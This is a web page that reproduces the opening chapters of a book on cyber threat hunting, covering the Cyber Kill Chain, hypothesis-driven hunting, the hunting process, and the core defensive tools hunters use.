Cyber Threat Hunting MEAP V09 (Nadhem AlFardan) (Z-Library)

📄 File Format: PDF

💾 File Size: 12.7 MB

📖 Read Online ⬇️ Download

Registered users can read the full content for free

Register as a Gaohf Library member to read the complete e-book online for free and enjoy a better reading experience.

📄 Page 1

(This page has no text content)

📄 Page 2

(This page has no text content)

📄 Page 3

Cyber Threat Hunting MEAP V09 1. 1_Introduction_to_Threat_Hunting 2. 2_Building_the_Foundation_of_a_Threat_Hunting_Practice 3. 3_Your_First_Threat_Hunting_expedition 4. 4_Threat_Intelligence_for_Threat_Hunting 5. 5_Hunting_in_Clouds 6. 6_Using_Fundamental_Statistical_Constructs 7. 7_Tuning_Statistical_Logic 8. 8_Unsupervised_Machine_Learning_with_K-Means 9. 9_Supervised_Machine_Learning_with_Random_Forest_and_XGBoost 10. 11_Responding_to_Findings 11. 12_Measuring_Success 12. 13_Enabling_the_Team

📄 Page 4

1 Introduction to Threat Hunting The chapter introduces the Cyber Kill Chain and provides an overview of the cyber security threat landscape and how threat hunting can tackle complex cyber security challenges. The chapter describes the thought process behind threat hunting, laying down fundamental concepts of a successful threat hunting practice. The chapter draws the differences and highlights the similarities between threat hunting and threat detection. The chapter ends with an overview of the core tools that threat hunters use. The book defines cyber threat hunting as follows: Definition Cyber threat hunting is a human-centric security practice that takes a proactive approach to uncover threats that evaded detection tools or threats that have been detected but dismissed or undermined by humans. The chapter covers the following topics: The stages of the Cyber Kill Chain How threat hunters uncover cyber threats that went unnoticed by detection tools, equipped with the right set of skillset and tools. The similarities and differences between cyber threat hunters and farmers (security analysts) and how hunting and detection services complement each other. The hypothesis-driven approach that the threat hunting process takes The characteristic of a successful threat hunter and a threat hunting practice The set of core tools that threat hunters require to conduct hunting expeditions Let us start with an overview of the cybersecurity threat landscape and show why threat hunting is essential.

📄 Page 5

1.1 Cybersecurity Threat Landscape Today's cyber threat landscape is complex, constantly evolving, and diverse. Threat actors, ranging from organized cybercrime to state-sponsored groups, actively improve existing attack techniques and tools and create new ones to reliably establish and quickly move through the Cyber Kill Chain (https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill- chain.html), starting from reconnaissance to actions on objectives. The Cyber Kill Chain developed by Lockheed Martin, shown in Figure 1.1, describes the set of stages that adversaries typically go through to achieve their final objective(s). The Cyber Kill Chain consists of seven stages. 1. Reconnaissance: the attacker assesses the situation to identify potential attack targets and tactics. For example, an attacker harvests social media accounts or performs an active vulnerability scan on publicly accessible applications. 2. Weaponization: the attacker develops the code to exploit vulnerabilities or weaknesses that the reconnaissance stage uncovered. For example, preparing a phishing email, formulating a SQL injection code, or preparing malware code. 3. Delivery: the attacker uses the delivery vectors to send the weaponized payload. For example, an attacker uses email to deliver malware code. 4. Exploitation: the attacker executes the code she created in the weaponization stage. 5. Installation: the attacker creates a channel that allows her to reach the compromised system. 6. Command and Control: the attacker establishes a command-and- control channel (C2) with an external server. For example, an attacker uses Twitter as a covert command and control channel to communicate with compromised systems. 7. Actions on Objective: the attacker fulfills the objective(s) of the attack. For example, an attacker encrypts files on the endpoint in the case of a ransomware attacker. Figure 1.1 Lockheed Martin Cyber Kill Chain

📄 Page 6

A popular meme in cyber security, credited to Dmitri Alperovitch, states, "there are only two types of companies: those that know they've been compromised, and those that don't know." Threat hunting allows organizations to take a proactive approach in which they assume that they have been hacked and can uncover evidence of that. We now have some idea about the complexity of the security threat landscape; let us dig into essential concepts of threat hunting and describe its relevance and importance. 1.2 Why Hunt? There is no perfect cybercrime. Adversaries would leave clues and a trail of evidence when executing one or more of the cyber kill chain stages. Advanced adversaries have shifted from using noisy attacks that trigger security alarms to more stealthy ones that leave a small footprint and trigger minimal alerts, if any, going unnoticed by automated detection tools. According to a SANS published report (https://www.sans.org/webcasts/stop- nasty-malware-pre-post-execution-review-ensilo-endpoint-security-platform- 106690), "the evolution of threats such as file-less malware, ransomware, zero days and advanced malware, combined with security tools getting bypassed, poses an extensional risk to enterprises." The increased threat actors' sophistication in operating in covert nature and their ability to launch attacks with minimal chances of detection are driving organizations to think beyond their standard detection tools. The change in

📄 Page 7

the adversary behavior requires defenders to establish proactive capabilities such as threat hunting and deploy advanced analytics using statistics and machine learning. For example, hunters can regularly search for potential data exfiltration activities through Domain Name Service (DNS) by applying volume-based statistical analytics without waiting or relying on network security tools such as intrusion detection systems to generate security alerts. Organizations rely on the threat hunter's skills to uncover the above threats during threat hunt expeditions, resulting in reduced dwell time and increased cyber resilience. The dwell time is the time between an attacker's initial penetration of an organization's environment (threat first successful execution time) and the point at which the organization finds out the attacker (threat detection time). In addition to reducing the dwell time, running threat hunting expeditions introduces other security benefits to the organization, such as Identifying gaps in security prevention and detection capabilities Tuning existing security monitoring use cases Identifying new security monitoring use cases Identifying vulnerabilities that assessment activities did not uncover Identifying misconfiguration in systems and applications, which might impact security, operation, and compliance To capture the above list of benefits, organizations need to establish and operate a robust threat hunting process that clearly describes the threat hunting expeditions' inputs and outputs. The book helps you establish a robust threat hunting program using practical examples and providing templates. Now that we established the need for a proactive approach to uncover cyber security threats let us describe how to structure a threat hunt. 1.3 Structuring Threat Hunting Threat hunting takes a hypothesis-driven investigation approach. A hypothesis is a proposition that is consistent with known data but has been

📄 Page 8

neither verified nor shown to be false. A good hypothesis should be relevant to the organization environment and testable in terms of the availability of data and tools. Taking a hypothesis-based approach is referred to as structured threat hunting. On the other hand, unstructured threat hunting refers to activities in which hunters analyze data at their disposal to search for anomalies without a pre- defined hypothesis. For example, the hunter might process and visualize data to look for unexpected changes in patterns such as noticeable spikes or dips. Finding such changes can lead the hunter to investigate further to uncover undetected threats. In this book, we focus on structured threat hunting, but we do not discourage you from exploring data without a formal hypothesis from time to time. The following is an example of a threat hunt hypothesis: Hypothesis An adversary has gained access to one or more of the organization's Microsoft Windows endpoints. PowerShell is one of the tools used by the adversary to perform unauthorized activities. Now that we understand what a hypothesis is, let us discuss how to come up with one. 1.3.1 Coming up with a Hypothesis The threat landscape associated with the environment you try to protect should drive what hypothesis to create and execute. Different sources concerning threats and their relevance to the environment can assist you in understanding the threat landscape. Threat hunters translate this understanding to hypotheses. The following are examples of such sources: Internal and external threat intelligence sources The results of threat modeling exercises The results of red team exercises Reviewing existing threat standards and frameworks such as MITRE ATT&CKT®

📄 Page 9

Analysis of previous or current security incidents 1.3.2 Testing the Hypothesis It is the job of the threat hunter to test the hypothesis using the best resources available at the hunter's disposal. Testing the hypothesis can start by defining a manageable list of activities that can uncover the first set of evidence or indicators concerning the hypothesis or guide the hunters to subsequent searches. For example, the following activities are relevant to the previously stated hypothesis. Hunting for suspicious PowerShell activities could reveal the existence of the compromise, proving the hypothesis. The successful execution of the following may uncover evidence of compromise: 1. Suspicious encoded PowerShell command 2. Suspicious execution of unsigned PowerShell scripts without warning 3. A process with suspicious PowerShell arguments 4. Suspicious PowerShell parent process When conducting a hunt, there are three possible outcomes 1. Hypothesis proven: the analysis of the data collected during the hunt expedition confirms the correctness of the hypothesis. In this case, the hunt expedition uncovered a security incident. 2. Hypothesis disproven: the analysis of the data collected during the hunt expedition confirms the incorrectness of the hypothesis. In this case, the hunt expedition could not uncover a security incident. 3. Inconclusive: there is still insufficient information to either prove or disprove the hypothesis. This outcome could be due to various reasons such as insufficient data, inappropriate tools, and scope limitations. 1.3.3 Executing the Threat Hunt Executing a threat hunt might take an hour or might go for a week, depending on several factors such as:

📄 Page 10

1. Initial suspicious activities: the number of initial use cases to execute in search for the first set of clues 2. Data: the amount of data to search in, the complexity of the search, and the tools' performance. For example, running a search against 1TB of data on hot storage (disks with high input/output operations per second) would be much faster than running the exact search on cold storage (disks with low input/output operations per second). 3. Threat complexity: sophisticated attacks might be associated with the like of Advanced Persistent Threats (APTs) that require a longer time, which might, in many cases, takes weeks or even months to investigate thoroughly. This is not to say that the hunt will last for months, but to state that the hunt part would take longer than average. 4. Access to data and systems: not gaining timely access to systems or data in the middle of a hunt expedition can prolong the hunt duration. For example, not providing the hunter timely access to the available network flows maintained by a different team would waste time and force the hunter to eventually wait or find more expensive and less reliable options or end with an inconclusive hunt outcome. Failing to prove the hypothesis does not necessarily mean that the threat does not exist. It means that the hunter could not uncover the threat with the skillset, data, and tools available. The book focuses on structured that hunting, in which the threat hunter, working with other security team members to define and prove a hypothesis, targeting adversaries' Tactics, Techniques, and Procedures (TTPs). The organization's threat hunting maturity level should improve over time. There are many lessons the hunter will learn from the hunt expeditions. The book provides practical lessons on how to plan, build and operate an effective threat hunting program. Now we have a good idea about threat hunting; let us compare it with threat detection, a fundamental security monitoring service, and draw differences and highlight similarities. 1.4 Threat Hunting vs Threat Detection

📄 Page 11

Detection is tool-driven, while hunting is human-driven. In hunting, the hunter takes center stage, compared to tools having that role in the world of detection. Threat hunting relies heavily on the experience of the threat hunter for defining the hypothesis, looking for evidence in a vast amount of data, and continuously pivoting in search of the evidence of compromise. Threat hunting does not replace threat detection technologies; they are complementary. Threat detection refers to the reactive approach in which Security Operation Center (SOC) analysts respond to security alerts generated by tools. For example, SOC analysts would triage and investigate a security event generated by an Endpoint Exposure and Response (EDR) tool or a security alert generated by a Security Event and Information Management (SIEM) system. SOC analysts attend to security alerts detected and reported by security tools and perform triage and investigation of security incidents. Figure 1.2 shows at a high level the threat detection process, in which SOC analysts would primarily perform cyber threat farming. Like farmers, SOC analysts generally wait for alerts (ripe crops) to show up on a dashboard to triage and respond to (harvest and process.) On the other hand, hunting takes a proactive approach. Hunters take the lead by going out in the hunting field to conduct expeditions, equipped with the right mindset, experience, situational awareness, and the right set of tools they require for an expedition. Figure 1.2 Threat Detection High-Level Process Detection is an essential SOC service. Addressing deficiencies in the security monitoring service should be a top priority while establishing or outsourcing

📄 Page 12

a threat hunting capability. Organizations should not consider establishing a threat hunting program to offload the work from the security monitoring team to threat hunters. Detection and hunting should work together to deliver a better coverage of the cyber threat landscape. Detection and hunting interact and, in some instances, overlap. There will always be cases where detection is an input to a threat hunt and vice versa. For example, a threat hunter might build a hypothesis that considers a widespread system compromise based on few suspicious activities detected on one or more endpoints and observed by the security monitoring team. Detection and hunting can use the same or different analytic techniques to detect or hunt for malicious activities. For example, user behavior analytic tools deploy statistical analysis and machine learning to detect and report anomalous user behavior to the security monitoring team. Hunters can make use of similar techniques for cyber threat hunting. Although hunters would not lead the development of machine learning models, they must understand and apprehend the capabilities and limitations of the different analytic techniques. Threat hunters are highly skilled resources. Let us have a look at the set of skills that threat hunters possess. 1.5 The Background of a Threat Hunter A threat hunter is a cyber security specialist who proactively and interactively seeks to uncover attacks or threats that evaded detection technologies deployed in various places in the network. Successful threat hunters are curious, prepared to tackle new challenges, and equipped with a good understanding of their hunting field. As a threat hunter, you will face challenges such as the unavailability of data, slow searches, improper event parsing, old technologies, incomplete or not access systems. The hunter should raise these challenges during and after a hunt expedition. Some of these challenges might get addressed in a reasonable time, while others might take a long time or might not get addressed at all, especially

📄 Page 13

ones that involve financial investments. These challenges should not prevent the hunters from finding new ways to enhance the effectiveness of the threat hunts by looking at other data and systems and tune the techniques the hunter deploys. Hunters are resourceful. An offensive mindset gives the hunter an advantage in creating effective threat hunt plays and executing threat hunt expeditions. During a hunt expedition, not being able to prove the hypothesis should not discourage a hunter. It is a common outcome that can be due to various reasons, including The attack or the threat described in the hypothesis does not exist in the first place The Hunter might not yet have the full context about the environment. For example, running a threat hunt against a newly deployed set of systems and applications might prove to be challenging when running the hunt. The Hunter might not yet have the skill set required to uncover sophisticated attacks against technologies that the hunter is not very familiar with. For example, running a threat hunt expedition against a private Kubernetes environment while the hunter is unfamiliar with containerized deployments. Lack of data required to the hunter to perform better investigations The use of inappropriate techniques to uncover sophisticated attacks. For example, running basic searches to uncover advanced persistent threats (APTs) have their limitations. As a threat hunter, you cannot be expected to know everything. Successful threat hunters spend an ample amount of time to research and, in many cases, try new Tactics, Techniques, and Procedures (TTPs.) Cyber security is a dynamic landscape, and having valuable research time would enhance the chances of uncovering advanced TTPs. As a threat hunter, understanding the threat hunting process is essential. Let us take a look at the threat hunting process.

📄 Page 14

1.6 Threat Hunting Process Defining a process helps threat hunters establish, conduct, and continuously improve the overall threat hunting practice and the individual threat hunt plays, increasing, over time, the probability of uncovering threats. Not only does it help improve the quality of threat hunts, but the process also incorporates other values that threat hunting introduces to the organization, such as updating existing or developing new detection and threat intelligence content. Figure 1.3 shows in a high-level the threat hunting process, which starts by formalizing a hypothesis, followed by trying to prove the hypothesis. If the hunter could not prove the hypothesis, then try to improve it by updating the hypothesis details and searching again for the threat. If proven, then the threat has been uncovered. The hunter does not stop there; expand the scope and search for indicators on other systems to understand the attack's magnitude and spread. The hunter would then engage the incident response team and document and share new content that would be helpful to the security monitoring and threat intelligence team. Figure 1.3 Threat Hunting High-Level Process

📄 Page 15

The following are the threat hunting process steps: Formulate a hypothesis: define the hypothesis based on inputs collected from sources and activities such as threat modeling outcomes, TTPs received from internal and external threat intelligence providers, or simply searching for tactics and techniques described in standard frameworks such MITRE ATT&CKT®. For example, the organization’s threat intelligence team might track adversary groups such as APT 29 (https://www.fireeye.com/current-threats/apt-groups.html), targeting Western European governments, foreign policy groups, and similar organizations. The hunter can formulate hypotheses based on relevant tactics and techniques deployed by the group. Before moving into the next step, the hunter needs to answer the following questions: What activities does the threat hunter need to look for to prove the hypothesis? What data does the threat hunter need to access? How big is the data? How much time will the searches take? How can the threat hunter, with the help of platform specialists, optimize the searches?

📄 Page 16

What tools should the threat hunter use? Look for it in the environment: search for indicators and evidence that can prove the hypothesis If not proven, optimize and go back: optimize the threat hunt by increasing the scope of the hunt, requesting further access to data to systems, updating the search activities, or updating the hypothesis itself. If proven, pivot and expand the scope: The hypothesis is proven. The hunter researches the extent of the security incident by expanding the scope of the hunt. Improve existing or develop new detection and threat intelligence content: now that the hypothesis is proven, the threat hunter may recommend new security monitoring detection rules and updates the threat intelligence content by sharing indicators or TTPs. Engage the incident response team: now that the hypothesis is proven, raise a ticket and assign it to the team that handles the incident response. Depending on the complexity of the incident, the hunter would provide support to the incident handling team. Note In Chapter 2, we present and describe a detailed version of the hunting process. Note It is important to note that although structured hunting involves following an initial lead or clue, hunters should expect many pivots and side quests. Now that we understand the threat hunting process let us examine the tools used to execute the "look for threat in the environment" step. 1.7 Overview of Technologies and Tools Although threat hunting is human-centric, having access to relevant and reliable technologies and scalable and flexible tools is critical to the success of the threat hunter. Events and activities can be collected from endpoints and network elements and forwarded to data stores to be accessed and searched.

📄 Page 17

Alternatively, the hunter might require access to artifacts and events directly from data sources to perform search and investigation activities. Core technologies and tools that hunters would have in their toolset Endpoint activities on servers and clients: access to process executions, network ports, registry details (in Windows), and system access events is a standard requirement for most hunts, whether for initial use cases or during a hunt. OSQuery is an example of a tool that provides threat hunters with access to various endpoint telemetry data. The tool allows the hunter to write Structured Query Language (SQL) queries to explore operating system data. Some of the open-source and commercial EDR tools have similar built-in capabilities. Datastores: a place that provides long-term events storage and searches. For example, it is common to send events collected from different sources in the network to a data store such as Splunk or Elasticsearch, which are available to the security monitoring team and threat hunters. Analytics: facilitates scalable searches with tools such as Splunk or Elasticsearch or advanced functions such as statistics and machine learning with platforms such as Apache Spark. Depending on the environment and the scope of the hunt, the hunter’s toolset would contain other tools. For example, a hunter might use YARA rules to research and capture suspicious activities on endpoints or push snort rules to network security tools such as intrusion detection systems to capture network activities of interest. The book describes and provides examples of different open-source and commercial tools that threat hunters use and how to utilize the tools to conduct threat hunts. 1.8 Summary Structured threat hunting is a hypothesis-driven practice that proactively tries to uncover threats that were not detected or threats that have been detected but dismissed or undermined by humans. Understanding the mindset of a threat hunter and the threat hunting process is crucial to becoming a

📄 Page 18

successful threat hunter.

📄 Page 19

2 Building the Foundation of a Threat Hunting Practice This chapter covers How to develop a threat hunting hypothesis How to document a threat hunt play The importance of threat intelligence to threat hunting Building a threat hunting framework The detail of the threat hunting process Threat hunting role and responsibilities Important frameworks and standards How to evaluate the maturity of a threat hunting practice In Chapter 1, we established foundational threat hunting concepts. In this chapter, we discuss how to create a threat hunting framework. We start with an overview of existing frameworks and standards and how and where they cover the topic of threat hunting. For example, we discuss how and where a standard like NIST Special Publication 800-53 Rev 5 covers threat hunting and how a framework like MITRE ATT&CK can be used to establish hunts based on threat tactics, techniques and procedures. We then describe how to start a hunting practice and improve its maturity over time, supplying you with processes and templates to kickstart the work. We then describe the general role and responsibilities of the threat hunter using a responsible, accountable, consulted, and informed model. Finally, we describe data sources and their importance to threat hunting and provide an overview of common data sources and sets such as Windows events, Sysmon, Linux events, network flows and firewall events. Let us start by defining essential concepts and roles that we would refer to in this chapter and the rest of the book.

📄 Page 20

2.1 Threat Hunting Definitions Threat hunting is a human-centric security practice that takes a proactive approach to uncover threats that evaded detection tools such as automated, rule- and signature-based security systems or threats that have been detected but dismissed or undermined by humans. A hypothesis is a proposition that is consistent with known data but has been neither verified nor shown to be false. A threat hunter is a role taken by a cyber security specialist who proactively and interactively seeks to uncover attacks or threats that evaded detection technologies deployed in various places in the network. Situational awareness refers to understanding the business, the supporting technology environment and the internal and external cyber threats associated with this environment. A threat actor refers to a person, a group or an organization driven by different motives to conduct malicious intents. Now that we have defined some essential threat hunting-related concepts and roles, let us construct our first hunt play. 2.2 Developing a Threat Hunting Hypothesis A hypothesis is a proposition that is consistent with known data but has been neither verified nor shown to be false. To start a structured hunt, you should first determine what to hunt for and what format to use to describe it, i.e., answer the question "how to come up with a reasonable hypothesis and how to document a threat hunt play?" 2.2.1 Threat Scenario Imagine the threat intelligence team sharing with you that a threat group referred to as APT41 is now a top actor in their threat watchlist. Construct a threat hunt play to uncover this group’s activities when using shell-based techniques against Microsoft Active Directory (AD).